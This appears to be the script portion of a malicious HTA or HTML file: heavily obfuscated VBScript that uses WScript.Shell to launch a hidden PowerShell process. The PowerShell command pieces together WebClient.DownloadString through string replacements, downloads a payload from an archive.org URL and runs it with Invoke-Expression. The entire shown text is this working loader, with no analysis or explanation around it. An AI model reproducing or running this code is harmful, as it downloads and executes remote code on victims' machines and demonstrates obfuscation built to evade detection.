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Dim FGCHJVGFGHJKHJGFGFHGJHKGHFGHJVGHHGFDHF
Set FGCHJVGFGHJKHJGFGFHGJHKGHFGHJVGHHGFDHF= CreateObject("WScript.she"&"ll")
DGTFHJVBNBHGHCCGHJVBKNLJKHJHKL= "P" +Chr(79) & "W"
RGDHTCJVBKBKHJVGHCFHGJVBKKNLJHJ=Chr(69) & "r" & Chr(83) & Chr(72) & Chr(69) & Chr(76)
GXFHCGJVHBJHVJGCHGJVBKNLJJJHBKN= Chr(76) & " $SRDTFYGUH"&"IUGYFTDRYDTYU"&"FUGIHLUGY"&"FUTDUFY='https://ia601504.us.archive.org/32/items/all-9875-98654/ALL_9875_98654.txt';"
SRDTHFYJHTDRFHYVJBKYFJTUI = "$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHD"&"FGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Rep"&"lace('SDFGDHFJGKHFGHDFGDHJGKHFJ"&"GDHFSHGDHJKGFHGDHFSHGDJFK"&"JGKJKHFJGDH','LO"&"ADSTR');"
RGDTHJVBKHJHTHYVJBKJTHCVJBK ="$RGHTFYGUKLHIDZXF"&"CGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRS"&"EASGRDHTFYUGKKGYFTDHRGDM.NEDT"&"HFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Re"&"place('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFT"&"DHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTF"&"YGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGU"&"KYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFY"&"GUKLHIDZXFCGVJHBHVGCFXDZFGXFDGTFHJVBNBHGHCCGHJVBKNLJKHJHKLHHHHHHHHHHHHHRDTFYGUH"&"IUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('DGTFHJVBNBHGHCCGHJVBKNLJKHJHKLHHHHHHHHHHHHH','HCGJV ).$SFDDH"&"GFJGKHLJKHJGHFGFGDHFGHK($S');"
RDTFHYJGBKYFTDFYJKUYFTYJVBKJTFYJK = "$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');"
SETRDYFGUGYYTDRTYUGUHILIHUYFTFYGUHILJ = DGTFHJVBNBHGHCCGHJVBKNLJKHJHKL+RGDHTCJVBKBKHJVGHCFHGJVBKKNLJHJ+GXFHCGJVHBJHVJGCHGJVBKNLJJJHBKN+SRDTHFYJHTDRFHYVJBKYFJTUI++RGDTHJVBKHJHTHYVJBKJTHCVJBK+RDTFHYJGBKYFTDFYJKUYFTYJVBKJTFYJK+""
FGCHJVGFGHJKHJGFGFHGJHKGHFGHJVGHHGFDHF.Run SETRDYFGUGYYTDRTYUGUHILIHUYFTFYGUHILJ,0
self.close
</script>
<body>
HBAR
</body>
</HEAD>
</HTML>